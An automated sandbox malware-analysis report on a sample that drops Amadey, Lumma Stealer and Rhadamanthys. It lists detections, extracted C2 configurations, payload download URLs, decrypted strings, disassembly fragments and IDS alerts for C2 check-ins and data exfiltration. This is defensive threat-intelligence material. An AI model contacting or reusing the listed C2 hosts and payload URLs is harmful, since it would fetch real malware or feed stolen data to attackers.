2024-12-18T19:08:44.519789+0100	2803305	3	Unknown Traffic	192.168.2.5	49739	31.41.244.11	80	TCP
2024-12-18T19:08:59.156917+0100	2803305	3	Unknown Traffic	192.168.2.5	49746	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/x3team/random.exe	Avira URL Cloud: Label: phishing
Source: https://grannyejh.lat/9wv	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/nN2uku	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat:443/api	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/(	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/dodo/random.exe	Avira URL Cloud: Label: phishing
Source: https://grannyejh.lat/api-18	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiR	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiO	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiM	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiTH	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/apiQVU3Yu	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/)4	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/teAB	Avira URL Cloud: Label: malware
Source: https://grannyejh.lat/Iw	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: 00000003.00000003.2060964574.0000000004890000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000018.00000002.3050310526.0000000001189000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["energyaffai.lat", "sustainskelet.lat", "aspecteirs.lat", "grannyejh.lat", "necklacebudi.lat", "crosshuaht.lat", "pancakedipyps.click", "rapeflowwj.lat", "discokeyus.lat"], "Build id": "FATE99--test"}
Source: 0000000D.00000003.2886368827.0000000005308000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Rhadamanthys {"C2 url": "https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000001E.00000003.3264455463.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Code function: 12_2_00415799 CryptUnprotectData,

12_2_00415799

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49750 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: 9faa981582.exe, 0000000D.00000003.2898755620.0000000005AB0000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2898679453.0000000005990000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909317151.0000000005160000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909206776.0000000002F40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: fba63623fe.exe, 00000007.00000002.2802395528.00000000053F0000.00000004.08000000.00040000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 9faa981582.exe, 0000000D.00000003.2898992206.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2899399364.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909561070.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909776212.0000000005300000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 9faa981582.exe, 0000000D.00000003.2897836469.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2897996672.0000000005B80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2907940320.00000000052D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2907662201.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 9faa981582.exe, 0000000D.00000003.2898251695.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2898393225.0000000005B30000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2908957470.0000000005280000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2908468465.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 9faa981582.exe, 0000000D.00000003.2897836469.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2897996672.0000000005B80000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2907940320.00000000052D0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2907662201.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 9faa981582.exe, 0000000D.00000003.2898251695.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2898393225.0000000005B30000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2908957470.0000000005280000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2908468465.00000000050E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: fba63623fe.exe, 00000007.00000002.2799364968.0000000002C70000.00000004.08000000.00040000.00000000.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, fba63623fe.exe, 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 9faa981582.exe, 0000000D.00000003.2898755620.0000000005AB0000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2898679453.0000000005990000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909317151.0000000005160000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909206776.0000000002F40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 9faa981582.exe, 0000000D.00000003.2898992206.0000000005990000.00000004.00000001.00020000.00000000.sdmp, 9faa981582.exe, 0000000D.00000003.2899399364.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909561070.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2909776212.0000000005300000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	7_2_011E0BD0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0Dh]	12_2_00423860
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov byte ptr [esi], al	12_2_0042DA53
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	12_2_0043ECA0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ecx, eax	12_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [ebp+00h], ax	12_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+ebx-10h]	12_2_0043C767
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then lea edx, dword ptr [ecx+01h]	12_2_0040B70C
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov esi, eax	12_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ecx, eax	12_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then jmp eax	12_2_0042984F
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov edx, ecx	12_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 5E874B5Fh	12_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then cmp dword ptr [edx+edi*8], BC9C9AFCh	12_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then test eax, eax	12_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov byte ptr [edi], al	12_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+18h]	12_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-75h]	12_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [ecx], bp	12_2_0041D83A
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then push C0BFD6CCh	12_2_00423086
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then push C0BFD6CCh	12_2_00423086
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	12_2_0042B170
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	12_2_004179C1
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], E5FE86B7h	12_2_0043B1D0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ebx, eax	12_2_0043B1D0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [ecx], dx	12_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	12_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ebx, eax	12_2_00405990
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ebp, eax	12_2_00405990
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ebx, esi	12_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [ebx], cx	12_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then cmp word ptr [edi+eax+02h], 0000h	12_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov byte ptr [edi], cl	12_2_0042CA49
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-7D4F867Fh]	12_2_00416263
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+61D008CBh]	12_2_00415220
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then push esi	12_2_00427AD3
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov byte ptr [edi], cl	12_2_0042CAD0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [ebx], ax	12_2_0041B2E0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then push ebx	12_2_0043CA93
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [eax], cx	12_2_0041CB40
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [esi], cx	12_2_0041CB40
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [eax], cx	12_2_00428B61
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov byte ptr [edi], cl	12_2_0042CB11
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov byte ptr [edi], cl	12_2_0042CB22
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax]	12_2_0043F330
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ebx, eax	12_2_0040DBD9
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ebx, eax	12_2_0040DBD9
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	12_2_00417380
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then cmp word ptr [ebx+edi+02h], 0000h	12_2_0041D380
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then cmp al, 2Eh	12_2_00426B95
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	12_2_00435450
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-7D4F867Fh]	12_2_00417380
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then push 00000000h	12_2_00429C2B
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [ecx], dx	12_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-20h]	12_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	12_2_004074F0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	12_2_004074F0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 9C259492h	12_2_004385E0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then jmp eax	12_2_004385E0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-7D4F88C7h]	12_2_00417DEE
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then jmp dword ptr [0044450Ch]	12_2_00418591
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov eax, dword ptr [ebp-68h]	12_2_00428D93
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then xor edi, edi	12_2_0041759F
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov eax, dword ptr [0044473Ch]	12_2_0041C653
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov edx, ebp	12_2_00425E70
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then jmp dword ptr [004455F4h]	12_2_00425E30
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ecx, eax	12_2_0043AEC0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then xor byte ptr [esp+eax+17h], al	12_2_00408F50
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov byte ptr [edi], bl	12_2_00408F50
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	12_2_0042A700
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov byte ptr [esi], al	12_2_0041BF14
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov eax, dword ptr [ebx+edi+44h]	12_2_00419F30
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+423C9D38h]	12_2_0041E7C0
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx eax, word ptr [edx]	12_2_004197C2
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [edi], dx	12_2_004197C2
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov word ptr [esi], cx	12_2_004197C2
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then mov ecx, ebx	12_2_0042DFE9
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then jmp ecx	12_2_0040BFFD
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+68E75405h]	12_2_0043EFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49718 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49719
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49722 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49725 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.5:63513 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49728 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49731 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:55944 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49733 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49735 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49736 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49741 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49743 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49745 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49747 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:62929 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49749 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49750 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49721 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49721 -> 172.67.131.246:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49724 -> 172.67.131.246:443
